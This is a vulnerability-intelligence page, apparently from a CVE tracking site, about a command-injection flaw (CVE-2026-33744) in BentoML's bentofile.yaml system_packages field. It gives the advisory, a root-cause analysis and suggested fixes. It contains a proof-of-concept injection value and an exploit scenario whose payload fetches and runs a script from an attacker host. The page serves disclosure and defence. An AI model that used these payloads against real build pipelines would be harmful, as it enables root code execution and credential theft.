Docker
CVE-2026-33744
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious bentofile.yaml with shell metacharacters
-
DeliveryExecute bentoml containerize command
-
ExploitInject arbitrary commands into Dockerfile RUN instruction
-
ExecutionExecute commands during docker build
-
ImpactAchieve code execution on build system
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Local attacker with ability to place malicious bentofile.yaml file in project directory. Victim must run |
| Impact | The CVSS 3.1 vector AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H indicates local attack vector with low complexity, no privileges required, but user interaction required, resulting in high impact across confidentiality, integrity, and availability. The local attack vector classification is somewhat misleading-while exploitation requires a user to run bentoml build or containerize, the attack surface is substantial in modern ML development workflows. The real-world risk is elevated due to multiple exposure scenarios: malicious ML repositories on GitHub, compromised CI/CD pipelines that automatically build Docker images from pull requests, and potential BentoCloud infrastructure compromise if user-supplied configurations are processed. The vulnerability includes a detailed proof-of-concept demonstrating trivial exploitation (single YAML file modification). No EPSS score or KEV status is provided in the intelligence, suggesting this is a newly disclosed vulnerability without observed in-the-wild exploitation yet. However, the supply chain attack vector makes this a genuine priority for organizations using BentoML in automated build pipelines or accepting models from untrusted sources. The attack is highly automatable once a user clones a malicious repository, and the technical impact is total system compromise during the build phase. |
| Exploit ScenarioDerived | An attacker publishes a malicious ML model repository on GitHub containing a seemingly legitimate BentoML service with a weaponized bentofile.yaml that includes system_packages entries like 'curl && wget http://attacker.com/malware.sh -O /tmp/x.sh && bash /tmp/x.sh #'. When a data scientist clones the repository and runs 'bentoml build' to test the model locally, or when a CI/CD pipeline automatically builds the Docker image from a pull request, the injected commands execute with root privileges during the Docker build process. The attacker achieves arbitrary code execution on the build machine, potentially exfiltrating credentials, poisoning the container registry with backdoored images, or establishing persistent access to the CI/CD infrastructure. A working proof-of-concept is included in the vulnerability disclosure. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 26, 2026
BentoML, a Python framework for ML model serving, contains a command injection vulnerability in the docker.system_packages configuration field of bentofile.yaml files. The vulnerability affects all versions supporting this feature (confirmed in version 1.4.36) and allows attackers to execute arbitrary commands during the Docker image build process (bentoml containerize). This is a high-severity supply chain risk with a CVSS score of 7.8, requiring user interaction to trigger but achieving full command execution as root during container builds.
RemediationAI
Users should upgrade to a patched version of BentoML as soon as one is released by the vendor (monitor https://github.com/bentoml/BentoML/security/advisories/GHSA-jfjg-vc52-wqvf for updates). Until a patch is available, implement strict validation of bentofile.yaml files from untrusted sources by reviewing all system_packages entries for shell metacharacters (semicolons, ampersands, pipes, backticks, dollar signs, redirects). In CI/CD environments, implement mandatory code review for any changes to bentofile.yaml files before automated builds, and consider running bentoml containerize in isolated, ephemeral build environments with no access to sensitive resources. Organizations can also apply the suggested fix manually by patching build_config.py to validate package names against the regex pattern ^[a-zA-Z0-9][a-zA-Z0-9.+\-_:]*$ before processing. For BentoCloud users or operators of shared build infrastructure, disable or restrict the system_packages feature until patching is complete.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
BentoML (pkg:pip/bentoml) is a Python framework for building and deploying machine learning services. The vulnerability is rooted in CWE-94 (Improper Control of Generation of Code / Code Injection). The system_packages field in bentofile.yaml configuration files is intended to specify OS package names for installation in Docker containers. However, the implementation in src/_bentoml_sdk/images.py and Jinja2 templates (base_debian.j2) directly interpolates these values into Dockerfile RUN commands using string formatting without sanitization or shell escaping. While the codebase includes a bash_quote filter using shlex.quote for environment variables, this protection is never applied to system_packages values. The values are joined with spaces and inserted directly into apt-get install commands, allowing shell metacharacters and command separators to break out of the intended command context.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/bentoml/BentoML) · only source for this CVE.
CVSS VectorVendor: https://github.com/bentoml/BentoML
Lifecycle Timeline
2DescriptionCVE.org
Summary
The docker.system_packages field in bentofile.yaml accepts arbitrary strings that are interpolated directly into Dockerfile RUN commands without sanitization. Since system_packages is semantically a list of OS package names (data), users do not expect values to be interpreted as shell commands. A malicious bentofile.yaml achieves arbitrary command execution during bentoml containerize / docker build.
Affected Component
src/_bentoml_sdk/images.py:85-89-.format(packages=" ".join(packages))into shell commandsrc/bentoml/_internal/container/frontend/dockerfile/templates/base_debian.j2:13-{{ __options__system_packages | join(' ') }}src/bentoml/_internal/bento/build_config.py:174- No validation onsystem_packages- All distro install commands in
src/bentoml/_internal/container/frontend/dockerfile/__init__.py
Affected Versions
All versions supporting docker.system_packages in bentofile.yaml, confirmed on 1.4.36.
Steps to Reproduce
- Create a project directory with:
service.py:
import bentoml
@bentoml.service
class MyService:
@bentoml.api
def predict(self) -> str:
return "hello"bentofile.yaml:
service: "service:MyService"
docker:
system_packages:
- "curl && id > /tmp/bentoml-pwned #"- Run:
bentoml build- Examine the generated Dockerfile at
~/bentoml/bentos/my_service/<tag>/env/docker/Dockerfile. Line 41 will contain:
RUN apt-get install -q -y -o Dpkg::Options::=--force-confdef curl && id > /tmp/bentoml-pwned
#- Running
bentoml containerize my_service:<tag>will executeid > /tmp/bentoml-pwnedas root during the Docker build.
Root Cause
The system_packages field values are treated as package names (data) by the user but are string-formatted directly into shell commands in the Dockerfile:
# images.py:85-89
self.commands.append(
CONTAINER_METADATA[self.distro]["install_command"].format(
packages=" ".join(packages)
# No escaping
)
)Where install_command is "apt-get install -q -y -o Dpkg::Options::=--force-confdef {packages}".
A bash_quote filter (wrapping shlex.quote) exists in the codebase and is registered in both Jinja2 environments, but it is only applied to environment variable values, never to system_packages.
Impact
- Malicious repositories: An attacker publishes an ML project with a crafted
bentofile.yaml. Anyone who clones and builds it gets arbitrary code execution duringdocker build. - CI/CD compromise: Automated pipelines running
bentoml containerizeon PRs that modifybentofile.yamlare vulnerable. - BentoCloud: If BentoCloud builds images from user-supplied
bentofile.yaml, this could achieve RCE on cloud infrastructure. - Supply chain: Shared bentos or model repos in the BentoML ecosystem can contain malicious configs.
Suggested Fix
Option 1: Input validation (recommended)
Add a regex validator to system_packages in build_config.py:
import re
VALID_PACKAGE_NAME = re.compile(r'^[a-zA-Z0-9][a-zA-Z0-9.+\-_:]*$')
def _validate_system_packages(instance, attribute, value):
if value is None:
return
for pkg in value:
if not VALID_PACKAGE_NAME.match(pkg):
raise BentoMLException(
f"Invalid system package name: {pkg!r}. "
"Package names may only contain alphanumeric characters, "
"dots, plus signs, hyphens, underscores, and colons."
)
system_packages: t.Optional[t.List[str]] = attr.field(
default=None, validator=_validate_system_packages
)Option 2: Output escaping
Apply shlex.quote() to each package name before interpolation in images.py:system_packages() and apply the bash_quote Jinja2 filter in base_debian.j2.
Executive ViewAI
BentoML users face a critical supply chain risk where malicious or compromised bentofile.yaml configurations can execute arbitrary commands with root privileges during Docker container builds. This vulnerability affects organizations using BentoML for ML model deployment and could allow attackers to inject malware, steal credentials, or compromise container images before they reach production.
Disable the docker.system_packages configuration field in bentofile.yaml across all projects; execute bentoml containerize commands only in isolated, ephemeral build environments with no access to production credentials or sensitive data; implement strict code review and approval workflows for all bentofile.yaml modifications; run container builds with minimal privileges and network isolation; scan built container images for suspicious artifacts before deployment to registries.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
GHSA-jfjg-vc52-wqvf
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB